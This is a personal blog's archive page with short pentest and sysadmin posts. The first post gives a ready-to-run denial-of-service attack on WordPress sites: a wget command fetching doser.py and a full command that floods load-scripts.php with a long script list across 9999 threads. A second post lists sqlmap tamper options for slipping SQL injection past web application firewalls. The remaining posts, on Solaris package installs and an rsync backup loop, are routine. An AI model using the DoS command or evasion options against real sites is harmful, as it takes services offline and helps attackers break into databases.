Mohamad Zulfahmy, Author at Mohamad Zulfahmy

Bring Down Any WordPress with Doser.py

by Mohamad Zulfahmy | 16/08/2019 | Pentest

Tool needed

Python 2/3
Python requests

Download the Dos script

wget https://raw.githubusercontent.com/Quitten/doser.py/master/doser.py

Run the script

python doser.py -g 'https://target.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

SQLmap Tamper Script

by Mohamad Zulfahmy | 18/02/2019 | Pentest

Just add on sqlmap options.

--tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

Install GCC Solaris

by Mohamad Zulfahmy | 23/07/2018 | Linux

Run this command from your terminal to install GCC.

For GCC 3.4.x

pkg install gcc-3

For GCC 4.5.x

pkg install gcc-45

For GCC 4.7.x

pkg install gcc-47

For GCC 4.8.x

pkg install gcc-48

Install OpenCSW Solaris 10/11

by Mohamad Zulfahmy | 23/07/2018 | Linux

Configure the OpenCSW repo to fetch packages

pkgadd -d http://get.opencsw.org/now

Sample package that can be installed

/opt/csw/bin/pkgutil -y -i CSWpmstringapprox pm_lwp_mediatypes pm_lwp_protocol_https gmake pm_xml_simple pm_net_ip pm_netaddr_ip pm_netaddrip pm_crypt_ssleay pm_net_ssleay pm_netssleay_stub nmap pm_proc_daemon pm_proc_pid_file ;

Temporary set bin path.

export PATH=/opt/csw/bin:$PATH

Rsync Command Example

by Mohamad Zulfahmy | 06/07/2018 | Scripts

#!/bin/bash

set -x

USER=`cat /usr/local/directadmin/data/users/support/users.list`

for user in $USER; do
        rsync --verbose --group --owner --progress --stats --recursive --times 
        --perms --links --delete --rsh="/usr/bin/ssh -p 9321" --exclude '*.tar.gz' 
        [email protected]:/home/$user/ /home/$user/
done

« Older Entries